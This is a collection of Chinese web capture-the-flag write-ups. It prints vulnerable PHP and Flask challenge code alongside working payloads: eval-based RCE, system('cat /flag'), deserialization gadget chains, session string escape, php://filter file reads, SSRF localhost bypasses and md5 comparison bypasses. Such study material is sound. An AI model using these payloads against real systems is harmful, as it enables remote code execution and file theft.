[ISCTF2025]ezrce 1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );if (isset ($_GET ['code' ])){ $code = $_GET ['code' ]; if (preg_match ('/^[A-Za-z\(\)_;]+$/' , $code )) { eval ($code ); }else { die ('师傅,你想拿flag?' ); } }
代码审计
1 2 3 if (preg_match ('/^[A-Za-z\(\)_;]+$/' , $code )) { eval ($code ); }
正则表达式/^[A-Za-z()_;]+$/只能有字母和括号 所以是无参rce
payload
1 ?code=highlight_file(array_rand(array_flip(scandir(dirname (chdir (dirname (dirname (dirname (getcwd())))))))));
ISCTF{468c3b15-c2c8-4df7-bbcd-faffe34dcbc5}
[LitCTF 2023]Vim yyds 在虚拟机里进行终端扫描目录dirsearch -u http://node4.anna.nssctf.cn:28656/ -e all
然后访问/.index.php.swp下载了一个文件,将这个文件复制到虚拟机里面
执行vim -r index.php.swp查看文件内容找到php代码
然后这边就是一开始一直复制不出来太气人了,问了学长说vim进入编辑后要按键盘的Esc,输入::w 1.php(文件名) 就可以保存到这个文件中
1 2 3 4 5 6 7 8 9 <?php error_reporting (0 ); $password = "Give_Me_Your_Flag" ; echo "<p>can can need Vim </p>" ; if ($_POST ['password' ] === base64_encode ($password )) { echo "<p>Oh You got my password!</p>" ; eval (system ($_POST ['cmd' ])); }?>
代码审计
1 if ($_POST ['password' ] === base64_encode ($password ))
POST传参password=Give_Me_Your_Flag(base64后的)
1 eval (system ($_POST ['cmd' ]));
将参数cmd的值作为system()函数的参数执行,所以cmd的值就是命令
最终payload
1 password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd =cat /flag
[UUCTF 2022 新生赛]websign 额这道题就是根据题目查看源码但发现键盘输入不能用(一开始我以为我键盘坏了。。
然后就其实先想到的是看index.php,config.php这些但也没用
就想用bp抓包看一下,结果直接出了额有点。。
[玄武杯 2025]ez_include 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php stream_wrapper_unregister ('php' );if (!isset ($_GET ['no_hl' ])) highlight_file (__FILE__ );$mkdir = function ($dir ) { system ('mkdir -- ' .escapeshellarg ($dir )); };$randFolder = bin2hex (random_bytes (16 ));$mkdir ('users/' .$randFolder ); chdir ('users/' .$randFolder );$userFolder = (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ]) ? $_SERVER ['HTTP_X_FORWARDED_FOR' ] : $_SERVER ['REMOTE_ADDR' ]);$userFolder = basename (str_replace (['.' ,'-' ],['' ,'' ],$userFolder ));$mkdir ($userFolder );chdir ($userFolder );file_put_contents ('profile' ,print_r ($_SERVER ,true ));chdir ('..' );$_GET ['page' ]=str_replace ('.' ,'' ,$_GET ['page' ]); if (!stripos (file_get_contents ($_GET ['page' ]),'<?' ) && !stripos (file_get_contents ($_GET ['page' ]),'php' )) { include ($_GET ['page' ]); }chdir (__DIR__ );system ('rm -rf users/' .$randFolder );?>
代码审计
1 2 3 4 5 if (!isset ($_GET ['no_hl' ])) highlight_file (__FILE__ );$mkdir = function ($dir ) { system ('mkdir -- ' .escapeshellarg ($dir )); };
如果参数中存在no_hl则不会显示源码,带参数时执行后续逻辑
$mkdir:匿名函数
这是非预期解
之间传入/flag就得到了
[SWPUCTF 2021 新生赛]ez_unserialize 一开始看不到题目,先查看源码
看到了disallow,就想到了爬虫协议
看到了可以访问的,就访问看到题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php error_reporting (0 );show_source ("cl45s.php" );class wllm { public $admin ; public $passwd ; public function __construct ( ) { $this ->admin ="user" ; $this ->passwd = "123456" ; } public function __destruct ( ) { if ($this ->admin === "admin" && $this ->passwd === "ctf" ){ include ("flag.php" ); echo $flag ; }else { echo $this ->admin; echo $this ->passwd; echo "Just a bit more!" ; } } }$p = $_GET ['p' ];unserialize ($p );?> if ($this ->admin === "admin" && $this ->passwd === "ctf" ){ include ("flag.php" );
当admin=admin,passwd=ctf的时候可以看到flag
构造exp
1 2 3 4 5 6 7 8 9 10 11 12 <?php class wllm { public $admin ; public $passwd ; }$a = new wllm ();$a -> admin = 'admin' ;$a -> passwd = 'ctf' ;echo (serialize ($a ));?>
payload
1 O :4 :"wllm" :2 :{s:5 :"admin" ;s:5 :"admin" ;s:6 :"passwd" ;s:3 :"ctf" ;}
[GHCTF 2024 新生赛]ezzz_unserialize(原生类) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 <?php error_reporting (0 );class Sakura { public $apple ; public $strawberry ; public function __construct ($a ) { $this -> apple = $a ; } function __destruct ( ) { echo $this -> apple; } public function __toString ( ) { $new = $this -> strawberry; return $new (); } }class NoNo { private $peach ; public function __construct ($string ) { $this -> peach = $string ; } public function __get ($name ) { $var = $this -> $name ; $var [$name ](); } }class BasaraKing { public $orange ; public $cherry ; public $arg1 ; public function __call ($arg1 ,$arg2 ) { $function = $this -> orange; return $function (); } public function __get ($arg1 ) { $this -> cherry -> ll2 ('b2' ); } }class UkyoTachibana { public $banana ; public $mangosteen ; public function __toString ( ) { $long = @$this -> banana -> add (); return $long ; } public function __set ($arg1 ,$arg2 ) { if ($this -> mangosteen -> tt2) { echo "Sakura was the best!!!" ; } } }class E { public $e ; public function __get ($arg1 ) { array_walk ($this , function ($Monday , $Tuesday ) { $Wednesday = new $Tuesday ($Monday ); foreach ($Wednesday as $Thursday ){ echo ($Thursday .'<br>' ); } }); } }class UesugiErii { protected $coconut ; protected function addMe ( ) { return "My time with Sakura was my happiest time" .$this -> coconut; } public function __call ($func , $args ) { call_user_func ([$this , $func ."Me" ], $args ); } }class Heraclqs { public $grape ; public $blueberry ; public function __invoke ( ) { if (md5 (md5 ($this -> blueberry)) == 123 ) { return $this -> grape -> hey; } } }class MaiSakatoku { public $Carambola ; private $Kiwifruit ; public function __set ($name , $value ) { $this -> $name = $value ; if ($this -> Kiwifruit = "Sakura" ){ strtolower ($this -> Carambola); } } }if (isset ($_POST ['GHCTF' ])) { unserialize ($_POST ['GHCTF' ]); } else { highlight_file (__FILE__ ); }
代码审计
1 2 3 4 5 6 7 8 9 10 class Sakura { public $apple ; public $strawberry ; public function __construct ($a ) { $this ->apple = $a ; } function __destruct ( ) { echo $this ->apple; } public function __toString ( ) { $new = $this ->strawberry; return $new (); } }
__toString():如果apple是其他类(如UkyoTachibana、Heraclqs)的对象,echo会触发该对象的__toString方法
__toString()中执行$new()如果$this->strawberry是其他类的对象,则触发Heraclqs类中的__invoke魔术方法
1 2 3 4 5 6 7 8 9 class Heraclqs { public $grape ; public $blueberry ; public function __invoke ( ) { if (md5 (md5 ($this ->blueberry)) == 123 ) { return $this ->grape->hey; } } }
__invoke:对象被当作函数调用时触发,md5(md5($this->blueberry)) == 123有一个md5哈希值弱比较,需要找到一个$blueberry满足该哈希条件
1 2 3 4 5 6 7 8 9 10 11 class E { public $e ; public function __get ($arg1 ) { array_walk ($this , function ($Monday , $Tuesday ) { $Wednesday = new $Tuesday ($Monday ); foreach ($Wednesday as $Thursday ){ echo ($Thursday .'<br>' ); } }); } }
array_walk():遍历当前类的所有属性
function ($Monday, $Tuesday):$Monday为属性值,$Tuesday为属性名
$Wednesday = new $Tuesday($Monday); :把$Tuesday类实例化为$Wednesday,$Monday作为传入的参数
foreach($Wednesday as $Thursday):foreach为遍历循环,把遍历的当前元素值赋给$Thursday,echo将值打印出来,再遍历下一个
new $Tuesday($Monday):动态实例化类,若$Tuesday和$Monday可控,可实现实例化恶意类
构造链子的思路:
看到E类,运用原生类遍历循环,要触发get魔术方法,调用不存在的属性
找到Heraclqs类中存在不存在的属性hey,调用它需要触发魔术方法__invoke,将参数作为函数,还存在一个MD5弱比较
找到Sakura类,return $new()将参数作为函数
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php class Sakura { public $apple ; public $strawberry ; }class NoNo { private $peach ; }class BasaraKing { public $orange ; public $cherry ; public $arg1 ; }class UkyoTachibana { public $banana ; public $mangosteen ; }class E { public $e ; }class UesugiErii { protected $coconut ; }class Heraclqs { public $grape ; public $blueberry ; }class MaiSakatoku { public $Carambola ; private $Kiwifruit ; }$E = new E ();$E ->DirectoryIterator = '/' ;$Heraclqs = new Heraclqs ();$Heraclqs -> blueberry = "LLh" ;$Heraclqs -> grape= $E ;$Sakura = new Sakura ();$Sakura -> apple = $Sakura ;$Sakura -> strawberry = $Heraclqs ;echo serialize ($Sakura );?>
DirectoryIterator:用于查看文件目录
payload
1 O :6 :"Sakura" :2 :{s:5 :"apple" ;r:1 ;s:10 :"strawberry" ;O:8 :"Heraclqs" :2 :{s:5 :"grape" ;O:1 :"E" :2 :{s:1 :"e" ;N;s:17 :"DirectoryIterator" ;s:1 :"/" ;}s:9 :"blueberry" ;s:3 :"LLh" ;}}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php class Sakura { public $apple ; public $strawberry ; }class E { public $e ; }class Heraclqs { public $grape ; public $blueberry ; }$E = new E ();$E ->SplFileObject = '/flag' ;$Heraclqs = new Heraclqs ();$Heraclqs -> blueberry = "LLh" ;$Heraclqs -> grape= $E ;$Sakura = new Sakura ();$Sakura -> apple = $Sakura ;$Sakura -> strawberry = $Heraclqs ;echo serialize ($Sakura );
SplFileObject:用于读文件
1 O :6 :"Sakura" :2 :{s:5 :"apple" ;r:1 ;s:10 :"strawberry" ;O:8 :"Heraclqs" :2 :{s:5 :"grape" ;O:1 :"E" :2 :{s:1 :"e" ;N;s:13 :"SplFileObject" ;s:5 :"/flag" ;}s:9 :"blueberry" ;s:3 :"LLh" ;}}
将文件名改为/flag绕过,内容为一句话木马,得到路径
[MoeCTF 2021]unserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php class entrance { public $start ;function __construct ($start ) { $this ->start = $start ; }function __destruct ( ) { $this ->start->helloworld (); } }class springboard { public $middle ; function __call ($name , $arguments ) { echo $this ->middle->hs; } }class evil { public $end ; function __construct ($end ) { $this ->end = $end ; } function __get ($Attribute ) { eval ($this ->end); } }if (isset ($_GET ['serialize' ])) { unserialize ($_GET ['serialize' ]); } else { highlight_file (__FILE__ ); }
代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 class evil { public $end ; function __construct ($end ) { $this ->end = $end ; } function __get ($Attribute ) { eval ($this ->end); } }
看到eval函数找到了利用点可以将end属性的值作为php代码执行
执行这句代码需要调用__get魔术方法,调用的成员属性不存在,需调用springboard类的middle属性,它调用了不存在的属性hs
__call需调用一个不存在的方法,通过entrance类中不存在的helloworld()魔术方法
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class entrance { public $start ; }class springboard { public $middle ; }class evil { public $end ; }$a = new evil ();$a ->end = "system('env');" ;$b = new springboard ();$b ->middle = $a ;$c = new entrance ();$c ->start = $b ;echo serialize ($c );
[安洵杯 2019]easy_serialize_php(字符串逃逸) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $function = @$_GET ['f' ];function filter ($img ) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode ('|' ,$filter_arr ).'/i' ; return preg_replace ($filter ,'' ,$img ); }if ($_SESSION ){ unset ($_SESSION ); }$_SESSION ["user" ] = 'guest' ;$_SESSION ['function' ] = $function ;extract ($_POST );if (!$function ){ echo '<a href="index.php?f=highlight_file">source_code</a>' ; }if (!$_GET ['img_path' ]){ $_SESSION ['img' ] = base64_encode ('guest_img.png' ); }else { $_SESSION ['img' ] = sha1 (base64_encode ($_GET ['img_path' ])); }$serialize_info = filter (serialize ($_SESSION ));if ($function == 'highlight_file' ){ highlight_file ('index.php' ); }else if ($function == 'phpinfo' ){ eval ('phpinfo();' ); }else if ($function == 'show_image' ){ $userinfo = unserialize ($serialize_info ); echo file_get_contents (base64_decode ($userinfo ['img' ])); }
代码审计
将f的参数改为phpinfo,看到配置信息
类似于flag文件名
filter函数被是对serialize($_SESSION)进行过滤,滤掉一些关键字
unset函数将$_SESSION销毁,然后重新赋予$_SESSION新的值
最后调用extract($_POST)
extract()函数从数组中将变量导入到当前的符号表
根据extract可以进行变量覆盖
当我们传入SESSION[flag]=123时,$SESSION[“user”]和$SESSION[“function”]会全部消失,只留SESSION[flag]=123
f参数要传为show_image,其次可控点是img_path下的img,但是不能直接传因为会进行一系列加密
extract()变量覆盖
1 2 3 4 5 6 7 8 if ($_SESSION ){ unset ($_SESSION ); }$_SESSION ["user" ] = 'guest' ;$_SESSION ['function' ] = $function ;extract ($_POST );
销毁$_SESSION变量–>给$_SESSION变量赋值–>extract()变量覆盖
1 2 3 4 5 6 7 8 9 10 11 extract ($_POST );if (!$function ){ echo '<a href="index.php?f=highlight_file">source_code</a>' ; }if (!$_GET ['img_path' ]){ $_SESSION ['img' ] = base64_encode ('guest_img.png' ); }else { $_SESSION ['img' ] = sha1 (base64_encode ($_GET ['img_path' ])); }
$_SESSION[‘img’]赋值是在extract()变量覆盖的后面执行的
键值逃逸
在php中,反序列化的过程必须严格按照序列化规则才能成功实现反序列化
结束符:;}
在str结尾的花括号后增加一些字符不会影响反序列化正常进行
1 2 3 4 <?php $str ='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abc' ;var_dump (unserialize ($str ));?>
仍然可输出上面的结果,说明反序列化的过程是有一定识别范围的,在这个范围之外的字符都会被忽略,不影响反序列化的正常进行
1 2 3 4 5 6 <?php $_SESSION ["user" ]='flagflagflagflagflagflag' ;$_SESSION ["function" ]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}' ;$_SESSION ["img" ]='L2QwZzNfZmxsbGxsbGFn' ;echo serialize ($_SESSION );?>
a:3:{s:4:”user”;s:24:”flagflagflagflagflagflag”;s:8:”function”;s:59:”a”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:2:”dd”;s:1:”a”;}”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}
假设后台存在一个过滤机制,会将含flag字符替换为空
第二个s所对应的数字,本来由于6个flag字符所以为24,但现在这6个flag被过滤,那么他将会尝试向后读取24个字符看看是否满足序列化的规则,即读取;s:8:”function”;s:59:”a了,读取这24个字符后以”;结尾,恰好满足规则,第3个s向后读取img的20个字符,第4、5个s向后读取均满足规则,所以序列化结果为
1 2 3 4 5 array(3) { ["user"]=> string(24) "";s:8:"function";s:59:"a" ["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" ["dd"]=> string(1) "a" }
数组形式为
1 2 3 $_SESSION["user"]='";s:8:"function";s:59:"a'; $_SESSION["img"]='ZDBnM19mMWFnLnBocA=='; $_SESSION["dd"]='a';
SESSION数组的键值img对应的值发生了改变
他本来想读取的base64编码是:L2QwZzNfZmxsbGxsbGFn,但是由于过滤掉了flag,向后读取的过程中把键值function放到了第一个键值的内容里面,用ZDBnM19mMWFnLnBocA==代替了真正的base64编码,读取了d0g3_f1ag.php的内容。而识别完成后最后面的";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}被忽略掉了,不影响正常的反序列化过程。
逃逸实现
get传参:?f=show_image
post调用extract函数实现变量覆盖
三种传参方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php #方法一 $_SESSION['flagflag']='";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'; #结果 a:1:{s:8:"flagflag";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";},这里就造成img不成为一个键,也就无法进行加密 #过滤掉flag有 #a:1:{s:8:"";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";} #使得绕过;s:51:""到达下一个封号,这时img成功逃逸出来 #方法二 $_SESSION['flagphp']=';s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'; #方法三 $_SESSION['flagflag']='";s:2:"aa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'; ?>
payload
_SESSION[phpflag]=;s:1:”1”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}
对于这个payload首先构造img属性
s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;
ZDBnM19mMWFnLnBocA==是d0g3_f1ag.php的base64加密的结果
然后在这个属性前面任意加一个序列化字符串(只要是合法的就可以)如:
;s:1:”1”
;s:2”10”;
;s:3:”100”;
[江苏省第七届网络空间知识技能大赛决赛]Web1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php highlight_file (__FILE__ );error_reporting (0 );class date { public $a ; public $b ; public $file ; public function __wakeup ( ) { if (is_array ($this ->a)||is_array ($this ->b)){ die ("no array" ); } if (($this ->a!=$this ->b) && (md5 ($this ->a)===md5 ($this ->b) && sha1 ($this ->a)===sha1 ($this ->b))){ $content = date ($this ->file); $uuid = uniqid ().'.txt' ; file_put_contents ($uuid ,$content ); $data = preg_replace (('/((\s)*(\n))+(\s)*/i' ),'' ,file_get_contents ($uuid )); echo file_get_contents ($data ); } else { die (); } } }unserialize (base64_decode ($_GET ['code' ]));?>
代码审计
1 2 if (is_array ($this ->a)||is_array ($this ->b)){ die ("no array" );
如果属性a,b是数组,则回显no array
校验条件
1 if (($this ->a!=$this ->b) && (md5 ($this ->a)===md5 ($this ->b) && sha1 ($this ->a)===sha1 ($this ->b)))
$this->a!=$this->b:弱比较,只比较值不比较类型
md5($this->a)===md5($this->b) && sha1($this->a)===sha1($this->b):强比较,要求哈希值的字符串内容和类型完全一致
判断要求满足属性a,b的值不相等,到那时md5和哈希值完全相等
这里绕过md5和哈希值强比较一般有几种方法(还有其他方法记在笔记里了)
数组绕过(但这边禁用数组)
用Error、Exception原生类绕过
临时文件生成逻辑
1 2 3 $content = date ($this ->file); $uuid = uniqid ().'.txt' ; file_put_contents ($uuid ,$content );
$content = date($this->file):将file属性值通过date函数将其日志格式化
uniqid():返回随机生成的字符串作为文件名
.:用来拼接,将之前随机生成的字符串与.txt拼接
file_put_contents($uuid,$content):将$content作为文件内容写入$uuid文件中,可能存在文件包含漏洞
构造思路
用Error原生类绕过md5和哈希值的强比较
给file赋值,绕过date格式化,可以通过\转义符绕过
构造链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class date { public $a ; public $b ; public $file ; }$a = new Error ("123" ,"1" );$b = new Error ("123" ,"2" );$s = new date ();$s ->a = $a ;$s ->b = $b ;$s -> file='/f\l\a\g' ;echo base64_encode (serialize ($s ));?>
1 Tzo0OiJkYXRlIjozOntzOjE6ImEiO086NToiRXJyb3IiOjc6e3M6MTA6IgAqAG1lc3NhZ2UiO3M6MzoiMTIzIjtzOjEzOiIARXJyb3IAc3RyaW5nIjtzOjA6IiI7czo3OiIAKgBjb2RlIjtpOjE7czo3OiIAKgBmaWxlIjtzOjIxOiJEOlxQSFDku6PnoIFcd 2ViMS5waHAiO3M6NzoiACoAbGluZSI7aToxMDtzOjEyOiIARXJyb3IAdHJhY2UiO2E6MDp7fXM6MTU6IgBFcnJvcgBwcmV2aW91cyI7Tjt9czoxOiJiIjtPOjU6IkVycm9yIjo3OntzOjEwOiIAKgBtZXNzYWdlIjtzOjM6IjEyMyI7czoxMzoiAEVycm9yAHN0cmluZyI7czowOiIiO3M6NzoiACoAY29kZSI7aToyO3M6NzoiACoAZmlsZSI7czoyMToiRDpcUEhQ5Luj56CBXHdlYjEucGhwIjtzOjc6IgAqAGxpbmUiO2k6MTA7czoxMjoiAEVycm9yAHRyYWNlIjthOjA6e31zOjE1OiIARXJyb3IAcHJldmlvdXMiO047fXM6NDoiZmlsZSI7czo4OiIvZlxsXGFcZyI7fQ
flag{0fc2bcb6-fe12-4ceb-ae5c-77c695a47bdd}
[NSSCTF 2022 Spring Recruit]ezgame 额源码泄露,f12里面查看直接找到了
[SWPUCTF 2021 新生赛]include
get传参了一个file
看到存在文件包含漏洞,利用filter伪协议
[SWPUCTF 2023 秋季新生赛]Pingpingping get传参但看到参数名Ping_ip.exe,里面有下划线和点,是非法参数,先要绕过,将它改成 Ping[ip.exe ,然后执行ping命令用管道分隔符执行其他命令
[NSSCTF 2022 Spring Recruit]babyphp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__ );include_once ('flag.php' );if (isset ($_POST ['a' ])&&!preg_match ('/[0-9]/' ,$_POST ['a' ])&&intval ($_POST ['a' ])){ if (isset ($_POST ['b1' ])&&$_POST ['b2' ]){ if ($_POST ['b1' ]!=$_POST ['b2' ]&&md5 ($_POST ['b1' ])===md5 ($_POST ['b2' ])){ if ($_POST ['c1' ]!=$_POST ['c2' ]&&is_string ($_POST ['c1' ])&&is_string ($_POST ['c2' ])&&md5 ($_POST ['c1' ])==md5 ($_POST ['c2' ])){ echo $flag ; }else { echo "yee" ; } }else { echo "nop" ; } }else { echo "go on" ; } }else { echo "let's get some php" ; }?>
代码审计
参数a:不包含0~9,值为整数
b1,b2:值不相等但md5值相等
c1,c2:值不相等但md5值相等的字符串
利用数组绕过
payload
1 a []=123 &b1[]=1 &b2[]=2 &c1=QNKCDZO&c2=240610708
[GDOUCTF 2023]泄露的伪装
payload
1 ?c xk=data: //text/plain ,ctrl
[HNCTF 2022 Week1]2048 分析js代码,看到alert,将内容输入到控制台回车,会有弹窗显示flag
[NISACTF 2022]easyssrf
尝试file:///etc/passwd,file伪协议不能用
尝试http协议访问本地
得到提示尝试用file读取/fl4g
file:///fl4g
访问ha1x1ux1u.php
源码
1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file (__FILE__ );error_reporting (0 );$file = $_GET ["file" ];if (stristr ($file , "file" )){ die ("你败了." ); }echo file_get_contents ($file );
看到get传参,提示flag在/flag中,就想到用伪协议读一下
1 ?file =php://filter /read =convert .base64-encode/resource=/flag
base64解码
[HNCTF 2022 WEEK2]ez_ssrf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__ );error_reporting (0 );$data =base64_decode ($_GET ['data' ]);$host =$_GET ['host' ];$port =$_GET ['port' ];$fp =fsockopen ($host ,intval ($port ),$error ,$errstr ,30 );if (!$fp ) { die (); }else { fwrite ($fp ,$data ); while (!feof ($data )) { echo fgets ($fp ,128 ); } fclose ($fp ); }
fsockopen($host,intval($port),$error,$errstr,30)触发SSRF
fsockopen()函数建立与指定主机和端口的socket连接,然后,它将传入的 base64 编码的数据解码,并将数据写入到连接的 socket 中。
网上的wp说利用poc构建脚本,poc就是测试验证的意思,不是很理解不知怎么搜
1 2 3 4 5 6 <?php $out = "GET /flag.php HTTP/1.1\r\n" ;$out .= "Host: 127.0.0.1\r\n" ;$out .= "Connection: Close\r\n\r\n" ;echo base64_encode ($out );?>
构造url
1 2 3 GET /flag.php HTTP/1.1 Host : 127.0.0.1Connection : Close
进行base64编码然后传参
[NSSRound#28 Team]ez_ssrf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php highlight_file (__FILE__ );if (isset ($_GET ['url' ])) { $url = $_GET ['url' ]; if (strpos ($url , 'http://' ) !== 0 ) { echo json_encode (["error" => "Only http:// URLs are allowed" ]); exit ; } $host = parse_url ($url , PHP_URL_HOST); $ip = gethostbyname ($host ); $forbidden_ips = ['127.0.0.1' , '::1' ]; if (in_array ($ip , $forbidden_ips )) { echo json_encode (["error" => "Access to localhost or 127.0.0.1 is forbidden" ]); exit ; } $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, true ); $response = curl_exec ($ch ); if (curl_errno ($ch )) { echo json_encode (["error" => curl_error ($ch )]); } else { echo $response ; } curl_close ($ch ); } else { echo json_encode (["error" => "Please provide a 'url' parameter" ]); }?>
看到报错提示只能用http并且127.0.0.1和localhost被禁用
用0.0.0.0替换
1 ?u rl=http: //0.0.0.0/flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 from flask import Flask, requestimport socketimport hashlibimport urllibimport sysimport osimport json reload(sys) sys.setdefaultencoding('latin1' ) app = Flask(__name__) secret_key = os.urandom(16 )class Task : def __init__ (self, action, param, sign, ip ): self .action = action self .param = param self .sign = sign self .sandbox = md5(ip) if not os.path.exists(self .sandbox): os.mkdir(self .sandbox) def Exec (self ): result = {} result['code' ] = 500 if self .checkSign(): if "scan" in self .action: tmpfile = open ("./%s/result.txt" % self .sandbox, 'w' ) resp = scan(self .param) if resp == "Connection Timeout" : result['data' ] = resp else : print resp tmpfile.write(resp) tmpfile.close() result['code' ] = 200 if "read" in self .action: f = open ("./%s/result.txt" % self .sandbox, 'r' ) result['code' ] = 200 result['data' ] = f.read() if result['code' ] == 500 : result['data' ] = "Action Error" else : result['code' ] = 500 result['msg' ] = "Sign Error" return result def checkSign (self ): if getSign(self .action, self .param) == self .sign: return True else : return False @app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param)@app.route('/De1ta' , methods=['GET' , 'POST' ] ) def challenge (): action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if waf(param): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec())@app.route('/' ) def index (): return open ("code.txt" , "r" ).read()def scan (param ): socket.setdefaulttimeout(1 ) try : return urllib.urlopen(param).read()[:50 ] except : return "Connection Timeout" def getSign (action, param ): return hashlib.md5(secret_key + param + action).hexdigest()def md5 (content ): return hashlib.md5(content).hexdigest()def waf (param ): check = param.strip().lower() if check.startswith("gopher" ) or check.startswith("file" ): return True else : return False if __name__ == '__main__' : app.debug = False app.run(host='0.0.0.0' , port=80 )
解题思路
先要绕过self.checkSign(),并且传入的action包含scan和read,然后执行if “scan” in self.action将/flag,txt写入result.txt,并且放在 result[‘data’] 中 , return json.dumps(task.Exec()) 接着返回以json的形式返回到客户端。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param) def checkSign (self ): if (getSign(self .action, self .param) == self .sign): return True else : return False def getSign (action, param ): return hashlib.md5(secert_key + param + action).hexdigest()
此处需要满足self.checkSign()
需要满足getSign(self.action, self.param) == self.sign
需要hashlib.md5(secert_key + param + action).hexdigest()== self.sign
就等同于hashlib.md5(secert_key + ‘flag.txt’ + ‘scanread’).hexdigest()== self.sign
所以我们要得到secert_key + ‘flag.txt’ + ‘scanread’的哈希值
1 2 3 4 5 @app.route("/geneSign" , methods=['GET' , 'POST' ] ) def geneSign (): param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param)
注意到/geneSign中已经将action定为scan ,所以我们传入的param可以为flag.txtread,这样的话还是会拼接为secert_key + ‘flag.txtreadscan’
/geneSign?param=flag.txtread
得到了哈希值efa325f1a9f0f3244cfb88e9e227fb9f
1 2 3 4 5 6 7 8 9 10 11 12 @app.route('/De1ta' , methods=['GET' , 'POST' ] ) def challenge (): action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if waf(param): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec())
然后访问/De1ta
cookie值传参action和sign
1 2 3 /De1ta?param =flag.txt Cookie:action =readscan;sign=efa325f1a9f0f3244cfb88e9e227fb9f
[GDOUCTF 2023]EZ WEB 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import flask app = flask.Flask(__name__)@app.route('/' , methods=['GET' ] ) def index (): return flask.send_file('index.html' )@app.route('/src' , methods=['GET' ] ) def source (): return flask.send_file('app.py' )@app.route('/super-secret-route-nobody-will-guess' , methods=['PUT' ] ) def flag (): return open ('flag' ).read()
/super-secret-route-nobody-will-guess在这个路径下运用put方式传参即可获得flag
用bp抓包
[SWPUCTF 2022 新生赛]奇妙的MD5 看到了一个登录界面,题目提示是md5.就用一个MD5万能密码:ffifdyop
跳转后ctrl+u查看源码
利用数组进行绕过
?x[]=1&y[]=2
